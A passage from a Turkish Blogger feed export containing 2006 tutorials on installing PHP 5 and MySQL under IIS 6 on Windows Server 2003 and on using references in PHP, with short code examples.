yapmam&amp;#305;z gereken Php&amp;rsquo;nin MySQL&amp;rsquo;e  ba&amp;#287;lanmak i&amp;ccedil;in kulland&amp;#305;&amp;#287;&amp;#305; php_mysql.dll dosyas&amp;#305;n&amp;#305; kullan&amp;#305;l&amp;#305;r hale  getirmek. Bunu i&amp;ccedil;in &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp; &lt;/p&gt;&lt;br /&gt;&lt;p&gt;extension_dir = "./" &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp; &lt;/p&gt;&lt;br /&gt;&lt;p&gt;sat&amp;#305;r&amp;#305;n&amp;#305; &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp; &lt;/p&gt;&lt;br /&gt;&lt;p&gt;extension_dir = "c:/php/ext" &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp; &lt;/p&gt;&lt;br /&gt;&lt;p&gt;olarak  de&amp;#287;i&amp;#351;tirelim. Bu &amp;#351;ekilde extensions klas&amp;ouml;r&amp;uuml; Php taraf&amp;#305;ndan  kullan&amp;#305;labilir. Peki ne var bu extensions klas&amp;ouml;r&amp;uuml;n&amp;uuml;n i&amp;ccedil;inde? Php&amp;rsquo;nin  i&amp;#351;lem yaparken kullanaca&amp;#287;&amp;#305; dosyalar burada bulunuyor. &amp;Ouml;rne&amp;#287;in MySQL,  XML, MSSQL gibi de&amp;#287;i&amp;#351;ik i&amp;#351;lemleri yapabilmesi i&amp;ccedil;in ihtiya&amp;ccedil; duydu&amp;#287;u t&amp;uuml;m  dosyalar burada yer al&amp;#305;yor. &amp;#304;kinci olarak MySQL i&amp;ccedil;in yapmam&amp;#305;z gereken &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp; &lt;/p&gt;&lt;br /&gt;&lt;p&gt;;extension=php_mysql.dll &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp; &lt;/p&gt;&lt;br /&gt;&lt;p&gt;Sat&amp;#305;r&amp;#305;n&amp;#305;n  ba&amp;#351;&amp;#305;nda yer alan &amp;ldquo;;&amp;rdquo; i&amp;#351;aretini kald&amp;#305;rmakt&amp;#305;r. Bildi&amp;#287;iniz &amp;uuml;zere &amp;ldquo;;&amp;rdquo;  sat&amp;#305;rda yer alan komutlar&amp;#305;n &amp;ccedil;al&amp;#305;&amp;#351;mamas&amp;#305;n&amp;#305; sa&amp;#287;l&amp;#305;yordu. Ba&amp;#351;&amp;#305;nda &amp;ldquo;;&amp;rdquo;  bulunan sat&amp;#305;rlar birer okuma sat&amp;#305;r&amp;#305; oluyordu. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp; &lt;/p&gt;&lt;br /&gt;&lt;p&gt;Php  i&amp;ccedil;in yapacaklar&amp;#305;m&amp;#305;z bu kadar. &amp;#350;imdi s&amp;#305;ra MySQL&amp;rsquo;de. MySQL&amp;rsquo;in kurulumunu  yapmal&amp;#305;s&amp;#305;n&amp;#305;z &amp;#351;imdi. Kurulum i&amp;ccedil;in extra bir bilgiye ihtiyac&amp;#305;n&amp;#305;z yok.  Normak &amp;#351;ekilde kurman&amp;#305;z yeterli olacakt&amp;#305;r. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp; &lt;/p&gt;&lt;br /&gt;&lt;p&gt;Windows  2003 Server&amp;rsquo;lar IIS 6 ile beraber gelmektedir. IIS 6 beraberinde pek  &amp;ccedil;ok &amp;ouml;zellik getirmektedir. &amp;#304;&amp;#351;in k&amp;ouml;t&amp;uuml; taraf&amp;#305; e&amp;#287;er Windows XP bir sistem  kullan&amp;#305;yorsan&amp;#305;z IIS 6&amp;rsquo;y&amp;#305; y&amp;uuml;klemek gibi bir &amp;#351;ans&amp;#305;n&amp;#305;z olmamamktad&amp;#305;r.  Sadece Windows 2003&amp;rsquo;lerde yer almaktad&amp;#305;r. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp; &lt;/p&gt;&lt;br /&gt;&lt;p&gt;Gerek  kontrol gerekse de beraberinde gelen yenilikler sayesinde olduk&amp;ccedil;a iyi  bir Web Server program&amp;#305; oldu&amp;#287;unu s&amp;ouml;yleyebiliriz. &amp;Ouml;zellikle Application  Pool bana g&amp;ouml;re onu &amp;ouml;ne &amp;ccedil;&amp;#305;karan en b&amp;uuml;y&amp;uuml;k &amp;ouml;zelliktir. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp; &lt;/p&gt;&lt;br /&gt;&lt;p&gt;Neyse biz i&amp;#351;imize geri d&amp;ouml;nelim ve IIS 6 i&amp;ccedil;in Php&amp;rsquo;nin gerektirdi&amp;#287;i ayarlar&amp;#305; yapal&amp;#305;m. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp; &lt;/p&gt;&lt;br /&gt;&lt;p&gt;Windows  Server 2003 ailesi Server 2000 ailesinden farkl&amp;#305; olarak kurulumda IIS  de kurulmamaktad&amp;#305;r. IIS&amp;rsquo;i siz kurulumdan sonra kurmal&amp;#305;s&amp;#305;n&amp;#305;z. Kurulum  i&amp;ccedil;in &amp;ldquo;Manage Your Server&amp;rdquo; ekran&amp;#305;na ihtiyac&amp;#305;n&amp;#305;z olacakt&amp;#305;r. Burada &amp;ldquo;Add  or Remove a role&amp;rdquo; linkine t&amp;#305;klaman&amp;#305;z gerekmektedir. Kar&amp;#351;&amp;#305;n&amp;#305;za gelecek  olan listeden &amp;ldquo;Internet Information Server&amp;rdquo; &amp;#305; se&amp;ccedil;ip Next butonuna  t&amp;#305;klamal&amp;#305;s&amp;#305;n&amp;#305;z. Yine Next butonuna t&amp;#305;klad&amp;#305;&amp;#287;&amp;#305;n&amp;#305;z zaman ise kurulum  ba&amp;#351;layacakt&amp;#305;r. Kurulum i&amp;ccedil;in gerekli olan dosyalar Windows CD&amp;rsquo;sinde yer  almaktad&amp;#305;r. Kurulumun bitmesi ile IIS &amp;ccedil;al&amp;#305;&amp;#351;&amp;#305;r hale gelecektir. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp; &lt;/p&gt;&lt;br /&gt;&lt;p&gt;IIS  6&amp;rsquo;y&amp;#305; a&amp;ccedil;t&amp;#305;&amp;#287;&amp;#305;m&amp;#305;z zaman 5 ve 5.1&amp;rsquo;dekine benzer olarak sol tarafta yer alan  b&amp;ouml;l&amp;uuml;mler ihtiyac&amp;#305;m&amp;#305;z olan i&amp;#351;lemleri yapmak i&amp;ccedil;in gerekli kolayl&amp;#305;&amp;#287;&amp;#305;  sunmaktad&amp;#305;r. Sol tarafta listenin sonunda &amp;ldquo;Web Extensions&amp;rdquo; yer  almaktad&amp;#305;r. T&amp;#305;klad&amp;#305;&amp;#287;&amp;#305;m&amp;#305;z zaman sa&amp;#287; tarafta IIS taraf&amp;#305;ndan  &amp;ccedil;al&amp;#305;&amp;#351;t&amp;#305;r&amp;#305;labilecek olan web dosya uzant&amp;#305;lar&amp;#305;n&amp;#305;n listesi yer almaktad&amp;#305;r.  &amp;Ouml;rne&amp;#287;in IIS&amp;rsquo;in ASP dosyalar&amp;#305;n&amp;#305; &amp;ccedil;al&amp;#305;&amp;#351;t&amp;#305;rmamas&amp;#305;n&amp;#305; ayarlayabilirsiniz bu  b&amp;ouml;l&amp;uuml;mden. Biz sa&amp;#287; tarafta &amp;uuml;stte yer alan &amp;ldquo;CGI Web Extensions&amp;rdquo;&amp;#305; se&amp;ccedil;ip  &amp;ldquo;Allow&amp;rdquo; butonuna t&amp;#305;klayaca&amp;#287;&amp;#305;z. Bu &amp;#351;ekilde CGI komutlar&amp;#305; art&amp;#305;k IIS  taraf&amp;#305;ndan &amp;ccedil;al&amp;#305;&amp;#351;t&amp;#305;r&amp;#305;lmaya ba&amp;#351;lanacakt&amp;#305;r. Hemen akl&amp;#305;ma gelmi&amp;#351;ken  s&amp;ouml;yliyeyim. Windows 2003 Server&amp;rsquo;a Php&amp;rsquo;yi CGI olarak kuraca&amp;#287;&amp;#305;z. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp; &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;#350;imdi  sol taraftan &amp;ldquo;Web Sites&amp;rdquo; a t&amp;#305;klayal&amp;#305;m. Default Web Site&amp;rsquo;a sa&amp;#287; t&amp;#305;klay&amp;#305;p  &amp;ldquo;Properties&amp;rdquo; i se&amp;ccedil;elim. Kar&amp;#351;&amp;#305;m&amp;#305;za gelecek pencerede &amp;ldquo;Home Directory&amp;rdquo;  sekmesine gelelim. Sa&amp;#287; altta &amp;ldquo;Configuration&amp;rdquo; butonu yer almaktad&amp;#305;r.  &amp;ldquo;Configuration&amp;rdquo; butonuna t&amp;#305;klad&amp;#305;&amp;#287;&amp;#305;m&amp;#305;z zaman kar&amp;#351;&amp;#305;m&amp;#305;za &amp;ldquo;Application  Configuration&amp;rdquo; penceresi a&amp;ccedil;&amp;#305;lacakt&amp;#305;r. Mappings sekmesindeki &amp;ldquo;Add&amp;rdquo;  butonuna t&amp;#305;klayal&amp;#305;m. &amp;ldquo;Add/Edit Application Extension Mapping&amp;rdquo; penceresi  a&amp;ccedil;&amp;#305;lacakt&amp;#305;r. Browse butonuna t&amp;#305;klay&amp;#305;p &amp;ldquo;c:/php&amp;rdquo; i&amp;ccedil;indeki &amp;ldquo;php-cgi.exe&amp;rdquo;  dosyas&amp;#305;n&amp;#305; se&amp;ccedil;ip &amp;ldquo;Open&amp;rdquo; butonuna t&amp;#305;klayal&amp;#305;m. &amp;ldquo;Add/Edit Application  Extension Mapping&amp;rdquo; penceresindeki &amp;ldquo;Extension&amp;rdquo; kutucu&amp;#287;una &amp;ldquo;.php&amp;rdquo;  yazal&amp;#305;m. (Noktay&amp;#305; unutmayal&amp;#305;m). Ok butonlar&amp;#305;na t&amp;#305;klayarak pencereleri  kapatal&amp;#305;m ve IIS&amp;rsquo;i tekrar ba&amp;#351;latal&amp;#305;m. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp; &lt;/p&gt;&lt;br /&gt;&lt;p&gt;Asl&amp;#305;na  bakarsan&amp;#305;z yap&amp;#305;lacak i&amp;#351;ler bundan ibaret. Ancak NTFS formatl&amp;#305;  dizinlerde bir de &amp;ccedil;al&amp;#305;&amp;#351;t&amp;#305;rma izni verilmesi gerekmektedir. Bunun i&amp;ccedil;in C  alt&amp;#305;nda yer alan &amp;ldquo;php&amp;rdquo; klas&amp;ouml;r&amp;uuml;n&amp;uuml; a&amp;ccedil;al&amp;#305;m. Klas&amp;ouml;r i&amp;ccedil;inde &amp;ldquo;php-cgi.exe&amp;rdquo;  dosyas&amp;#305;n&amp;#305; bulal&amp;#305;m. Sa&amp;#287; t&amp;#305;klay&amp;#305;p &amp;ldquo;Properties&amp;rdquo; i se&amp;ccedil;elim. Security  sekmesine gelelim. Burada &amp;ldquo;php-cgi.exe&amp;rdquo; dosyas&amp;#305;n&amp;#305; kimlerin &amp;ccedil;al&amp;#305;&amp;#351;t&amp;#305;rma  yetkisinin oldu&amp;#287;u ve hangi yetkilerle &amp;ccedil;al&amp;#305;&amp;#351;t&amp;#305;rabildikleri yer  almaktad&amp;#305;r. Bizim yapmam&amp;#305;z gereken bu listeye bir de IUSR_makinaadi  kullan&amp;#305;c&amp;#305;s&amp;#305;n&amp;#305; eklemektedir. Add butonunu kullanarak IUSR_makinaadi  kullan&amp;#305;c&amp;#305;s&amp;#305;n&amp;#305; listeye eklemelisiniz. E&amp;#287;er bilgisayar&amp;#305;n&amp;#305;za &amp;ldquo;ceviz&amp;rdquo; ad&amp;#305;n&amp;#305;  verdiyseniz eklemeniz gereken kullan&amp;#305;c&amp;#305; &amp;ldquo;IUSR_ceviz&amp;rdquo;&amp;rsquo;dir. Kullan&amp;#305;c&amp;#305;y&amp;#305;  ekledikten sonra altta yer alan yetki listesinde &amp;ldquo;execution&amp;rdquo; &amp;#305;n se&amp;ccedil;ili  olup olmad&amp;#305;&amp;#287;&amp;#305;n&amp;#305; kontrol ediniz. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp; &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;#304;&amp;#351;te  bu kadar. Windows 2003 Server &amp;uuml;zerine Php, MySQL kurup IIS i&amp;ccedil;in gerekli  ayarlar&amp;#305; yapt&amp;#305;k. &amp;#304;sterseniz &amp;ccedil;al&amp;#305;&amp;#351;&amp;#305;p &amp;ccedil;al&amp;#305;&amp;#351;mad&amp;#305;&amp;#287;&amp;#305;n&amp;#305; deneyebilirsiniz.  A&amp;#351;a&amp;#287;&amp;#305;daki kodlar&amp;#305; Notepad&amp;rsquo;de yaz&amp;#305;p &amp;ldquo;phpinfo.php&amp;rdquo; ad&amp;#305;yla wwwroot alt&amp;#305;na  kaydediniz. Daha sonra da taray&amp;#305;c&amp;#305;dan &amp;ccedil;a&amp;#287;&amp;#305;rabilirsiniz. Kar&amp;#351;&amp;#305;n&amp;#305;za Php  5.01. yaz&amp;#305;l&amp;#305; olan bir sayfa gelirse &amp;ccedil;al&amp;#305;&amp;#351;&amp;#305;yor demektir. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35317581-115971074750135790?l=sanalarsiv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sanalarsiv.blogspot.com/feeds/115971074750135790/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=35317581&amp;postID=115971074750135790' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115971074750135790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115971074750135790'/><link rel='alternate' type='text/html' href='http://sanalarsiv.blogspot.com/2006/10/windows-server-2003e-php-5-ve-mysql.html' title='Windows Server 2003&apos;e PHP 5 ve MySQL kurulumu'/><author><name>yonetici</name><uri>http://www.blogger.com/profile/01829750859514560472</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35317581.post-115971061196095786</id><published>2006-10-01T05:49:00.000-08:00</published><updated>2006-10-01T05:50:12.163-08:00</updated><title type='text'>Php 'de Referanslar</title><content type='html'>&lt;p&gt;PHP 'de Referanslar &lt;br&gt;&lt;br /&gt;    &lt;br&gt;&lt;br /&gt;  Merhaba, &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  PHP 'de referanslar,  s&amp;#305;k kullan&amp;#305;m&amp;#305;n&amp;#305; g&amp;ouml;rmesek de asl&amp;#305;nda bilmemizde yarar&amp;#305; olan &amp;#351;eyler. Daha  &amp;ouml;nce C veya C++ ile u&amp;#287;ra&amp;#351;t&amp;#305;ysan&amp;#305;z referanslar&amp;#305; g&amp;ouml;stericiler ile ayn&amp;#305;  kefeye koyabilirsiniz. Nitekim ayn&amp;#305; olmad&amp;#305;klar&amp;#305;n&amp;#305; da g&amp;ouml;z ard&amp;#305;  etmemelisiniz. PHP 'de referanslar&amp;#305; daha &amp;ccedil;ok ba&amp;#351;ka bir de&amp;#287;i&amp;#351;kene  ula&amp;#351;mak i&amp;ccedil;in gereken k&amp;#305;sa yol gibi d&amp;uuml;&amp;#351;&amp;uuml;nebilirsiniz ve *NIX  sistemlerinde &amp;ldquo;hardlinking&amp;rdquo; 'e benzetebilirsiniz. &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;&lt;h3&gt;REFERANSLARA G&amp;#304;R&amp;#304;&amp;#350; &lt;/h3&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?php &lt;br&gt;&lt;br /&gt;  $asil = 'Ali ata bak'; &lt;br&gt;&lt;br /&gt;  $kopya = &amp;amp;$asil; &lt;br&gt;&lt;br /&gt;  echo $kopya; &lt;br&gt;&lt;br /&gt;  ?&amp;gt; &lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Yukar&amp;#305;da  g&amp;ouml;r&amp;uuml;nd&amp;uuml;&amp;#287;&amp;uuml; &amp;uuml;zere $kopya de&amp;#287;i&amp;#351;kenine $asil de&amp;#287;i&amp;#351;keninin de&amp;#287;eri reference  sayesinde atan&amp;#305;yor. Reference i&amp;#351;areti olarak '&amp;amp;' i&amp;#351;aretini  kullan&amp;#305;yoruz. Referanslar&amp;#305; diziler ile de kullanabiliriz, &amp;ouml;rnek: &lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?php &lt;br&gt;&lt;br /&gt;  $asil[0] = 'Oya Ata Bak'; &lt;br&gt;&lt;br /&gt;  $asil[1] = 'Ali ata bak'; &lt;br&gt;&lt;br /&gt;  $kopya = &amp;amp;$asil; &lt;br&gt;&lt;br /&gt;  print_r($kopya); &lt;br&gt;&lt;br /&gt;  ?&amp;gt; &lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Ayr&amp;#305;ca a&amp;#351;a&amp;#287;&amp;#305;da g&amp;ouml;r&amp;uuml;len referans edilen de&amp;#287;i&amp;#351;kenin referans&amp;#305; da do&amp;#287;ru bir tan&amp;#305;mlamad&amp;#305;r: &lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?php &lt;br&gt;&lt;br /&gt;  $asil = 'Ali ata bak'; &lt;br&gt;&lt;br /&gt;  $kopya = &amp;amp;$asil; &lt;br&gt;&lt;br /&gt;  $kopya2 = &amp;amp;$kopya; &lt;br&gt;&lt;br /&gt;  echo $kopya2; &lt;br&gt;&lt;br /&gt;  ?&amp;gt; &lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Referanslar birbirine t&amp;uuml;r ve i&amp;ccedil;erik olarak tam anlam&amp;#305;yla e&amp;#351;ittir: &lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?php &lt;br&gt;&lt;br /&gt;  $asil = 'Ali ata bak'; &lt;br&gt;&lt;br /&gt;  $kopya = &amp;amp;$asil; &lt;br&gt;&lt;br /&gt;  if ($kopya === $asil) echo "e&amp;#351;itlik var"; &lt;br&gt;&lt;br /&gt;  else echo "e&amp;#351;itlik yok"; &lt;br&gt;&lt;br /&gt;  ?&amp;gt; &lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Yukar&amp;#305;daki  kod size hep e&amp;#351;itlik var de&amp;#287;erini verecektir. Not: '===' operat&amp;ouml;r&amp;uuml; ==  'n&amp;#305;n i&amp;#351;levi yan&amp;#305;nda de&amp;#287;i&amp;#351;kenlerin t&amp;uuml;rlerinin de ayn&amp;#305; olup olmad&amp;#305;&amp;#287;&amp;#305;na  bakar. &lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;&lt;h3&gt;Ek bilgi:&lt;/h3&gt;&lt;br /&gt;C bilmeyenler i&amp;ccedil;in &amp;amp;  i&amp;#351;aretinin anlam&amp;#305;n&amp;#305; kaydedelim. &amp;amp; i&amp;#351;areti C 'de verilen de&amp;#287;i&amp;#351;kenin  haf&amp;#305;za &amp;uuml;zerine bulundu&amp;#287;u yerin adresini verir. C ' de g&amp;ouml;stericileri  kullanmak i&amp;ccedil;in &amp;ouml;zel bir t&amp;uuml;rde nesne yarat&amp;#305;l&amp;#305;r ve nesnenin ba&amp;#351;&amp;#305;na *  koyarak adresi al&amp;#305;nan nesnenin i&amp;ccedil;eri&amp;#287;ine ula&amp;#351;&amp;#305;labilir. &amp;Ouml;rnek olarak bir  kod yazal&amp;#305;m: &lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;div&gt;#include &amp;lt;stdio.h&amp;gt; &lt;br&gt;&lt;br /&gt;    &lt;br&gt;&lt;br /&gt;  int main(void) { &lt;br&gt;&lt;br /&gt;  int *i, p=1; &lt;br&gt;&lt;br /&gt;  i = &amp;amp;p; &lt;br&gt;&lt;br /&gt;  printf("&amp;#304;cerik: %d \n Adresi: %d",*i,i); &lt;br&gt;&lt;br /&gt;  return 0; &lt;br&gt;&lt;br /&gt;  } &lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;PHP  'de g&amp;ouml;rd&amp;uuml;&amp;#287;&amp;uuml;n&amp;uuml;z &amp;uuml;zere '*' i&amp;#351;aretinin kullan&amp;#305;m&amp;#305; s&amp;ouml;z konusu de&amp;#287;ildir ve  PHP 'de memory adresi de&amp;#287;i&amp;#351;kene atanmaz referans sadece bir k&amp;#305;sayoldur. &lt;br&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;h3&gt;REFERANSLARIN &amp;Ouml;M&amp;Uuml;RLER&amp;#304; &lt;br&gt;&lt;br /&gt;&lt;/h3&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;A&amp;#351;a&amp;#287;&amp;#305;daki kodu inceliyoruz: &lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?php &lt;br&gt;&lt;br /&gt;  $asil = 'Ali ata bak'; &lt;br&gt;&lt;br /&gt;  $kopya = &amp;amp;$asil; &lt;br&gt;&lt;br /&gt;  echo $kopya; &lt;br&gt;&lt;br /&gt;  echo $asil; &lt;br&gt;&lt;br /&gt;  $asil = 'Kaya ata bak'; &lt;br&gt;&lt;br /&gt;  echo $kopya; &lt;br&gt;&lt;br /&gt;  echo $asil; &lt;br&gt;&lt;br /&gt;  $kopya = 'Oya ata bak'; &lt;br&gt;&lt;br /&gt;  echo $kopya; &lt;br&gt;&lt;br /&gt;  echo $asil; &lt;br&gt;&lt;br /&gt;  ?&amp;gt; &lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Yukar&amp;#305;da  kodu &amp;ccedil;al&amp;#305;&amp;#351;t&amp;#305;rd&amp;#305;&amp;#287;&amp;#305;n&amp;#305;zda da g&amp;ouml;rece&amp;#287;iniz &amp;uuml;zere, $asil ya da $kopya  de&amp;#287;i&amp;#351;kenini de&amp;#287;i&amp;#351;tirdi&amp;#287;inizde, de&amp;#287;er de her durumda de&amp;#287;i&amp;#351;iyor. Ama  unutmam&amp;#305;z gereken bir nokta var, $kopya ve $asil ayn&amp;#305; de&amp;#287;ere sahip  farkl&amp;#305; de&amp;#287;i&amp;#351;kenlerdir. Yani i&amp;ccedil;indeki de&amp;#287;er d&amp;#305;&amp;#351;&amp;#305;nda de&amp;#287;i&amp;#351;kene bir i&amp;#351;lem  yapt&amp;#305;&amp;#287;&amp;#305;m&amp;#305;zda ortadaki de&amp;#287;er kaybolmaz! A&amp;#351;a&amp;#287;&amp;#305;daki kodu inceliyoruz: &lt;br&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?php &lt;br&gt;&lt;br /&gt;  $asil = 1; &lt;br&gt;&lt;br /&gt;  $kopya = &amp;amp;$asil; &lt;br&gt;&lt;br /&gt;  unset($asil); &lt;br&gt;&lt;br /&gt;  echo $kopya; &lt;br&gt;&lt;br /&gt;  ?&amp;gt; &lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Yukar&amp;#305;da  $asil ya da $kopya de&amp;#287;i&amp;#351;kenini unset ile yok etmemiz ortadaki de&amp;#287;erin  yok olmas&amp;#305;n&amp;#305; sa&amp;#287;lamaz. &amp;#304;ki de&amp;#287;i&amp;#351;kenden birini unset etti&amp;#287;imizde  di&amp;#287;erinin de&amp;#287;eri de&amp;#287;i&amp;#351;meden kal&amp;#305;r. &lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Global olarak fonksiyonun i&amp;ccedil;ine ald&amp;#305;&amp;#287;&amp;#305;m&amp;#305;z de&amp;#287;erlerin &amp;ouml;m&amp;uuml;rleri ne olacak? Hadi bakal&amp;#305;m: &lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?php &lt;br&gt;&lt;br /&gt;  $deger1 = "Ornek degisken"; &lt;br&gt;&lt;br /&gt;  $deger2 = ""; &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  function fonksiyon() { &lt;br&gt;&lt;br /&gt;  global $deger1, $deger2; &lt;br&gt;&lt;br /&gt;  $deger2 = &amp;amp;$deger1; &lt;br&gt;&lt;br /&gt;  } &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  fonksiyon(); &lt;br&gt;&lt;br /&gt;  echo "$deger2"; &lt;br&gt;&lt;br /&gt;  ?&amp;gt; &lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;B&amp;ouml;yle  bir durumda $deger2 'nin d&amp;#305;&amp;#351;ar&amp;#305;daki de&amp;#287;eri de&amp;#287;i&amp;#351;meyecektir. &amp;Ccedil;&amp;uuml;nk&amp;uuml;  fonksiyonun i&amp;ccedil;inde yap&amp;#305;lan i&amp;#351;lem fonksiyona aittir. E&amp;#287;er $deger2  de&amp;#287;i&amp;#351;keninin de&amp;#287;erini d&amp;#305;&amp;#351;arda da de&amp;#287;i&amp;#351;tirmek istiyorsak a&amp;#351;a&amp;#287;&amp;#305;daki  y&amp;ouml;ntemi uygulayabiliriz: &lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?php &lt;br&gt;&lt;br /&gt;  $deger1 = "Ornek degisken"; &lt;br&gt;&lt;br /&gt;  $deger2 = ""; &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  function global_referanslar() { &lt;br&gt;&lt;br /&gt;  global $deger1, $deger2; &lt;br&gt;&lt;br /&gt;  $GLOBALS["deger2"] = &amp;amp;$deger1; &lt;br&gt;&lt;br /&gt;  } &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  global_references(); &lt;br&gt;&lt;br /&gt;  echo "$deger2"; &lt;br&gt;&lt;br /&gt;  ?&amp;gt; &lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Daha  &amp;ouml;nce referanslar ile u&amp;#287;ra&amp;#351;anlar&amp;#305;n ve C bilenlerin akl&amp;#305;na bunun bir  y&amp;ouml;ntemi daha oldu&amp;#287;u ak&amp;#305;llar&amp;#305;na gelebilir, nitekim ileride ele  alaca&amp;#287;&amp;#305;m&amp;#305;z bir durum olacak, onun i&amp;ccedil;in akl&amp;#305;n&amp;#305;za geldiyse unutmay&amp;#305;n :) &lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;&lt;h3&gt;Ek Bilgi:&lt;/h3&gt;&lt;br /&gt;Referanslar&amp;#305;n g&amp;ouml;sterici (pointer) olmad&amp;#305;klar&amp;#305;n&amp;#305; unutmay&amp;#305;n, a&amp;#351;a&amp;#287;&amp;#305;daki kod bekledi&amp;#287;iniz gibi &amp;ccedil;al&amp;#305;&amp;#351;mayacakt&amp;#305;r: &lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?php &lt;br&gt;&lt;br /&gt;  $deger =1; &lt;br&gt;&lt;br /&gt;  function fonksiyon(&amp;amp;$ic) { &lt;br&gt;&lt;br /&gt;  $ic = &amp;amp;$GLOBALS["deger2"]; &lt;br&gt;&lt;br /&gt;  } &lt;br&gt;&lt;br /&gt;  foo($deger); &lt;br&gt;&lt;br /&gt;  echo $deger2; &lt;br&gt;&lt;br /&gt;  ?&amp;gt; &lt;/div&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Yukarda $deger2 'nin i&amp;ccedil;ine de&amp;#287;er atanmad&amp;#305;&amp;#287;&amp;#305;n&amp;#305; g&amp;ouml;receksiniz. Oysaki C 'de g&amp;ouml;stericiler ile b&amp;ouml;yle bir &amp;#351;ey yapmak m&amp;uuml;mk&amp;uuml;nd&amp;uuml;r. &lt;br&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;h3&gt;FONKS&amp;#304;YONLAR &amp;#304;LE REFERANS KULLANIMI &lt;/h3&gt;&lt;br /&gt;Basit olarak referanslar&amp;#305;n ne oldu&amp;#287;unu g&amp;ouml;rd&amp;uuml;k &amp;#351;imdi as&amp;#305;l mevzumuza gelelim, referanslar&amp;#305;n fonksiyonlar ile kullan&amp;#305;m&amp;#305;na. &lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Yukar&amp;#305;da &amp;ouml;nceden unutmay&amp;#305;n dedi&amp;#287;im &amp;#351;ey vard&amp;#305; ya &amp;#351;imdi oraya geldik, yani global de&amp;#287;i&amp;#351;kenleri direkt u&amp;#287;ra&amp;#351;madan de&amp;#287;i&amp;#351;tirmeye: &lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br 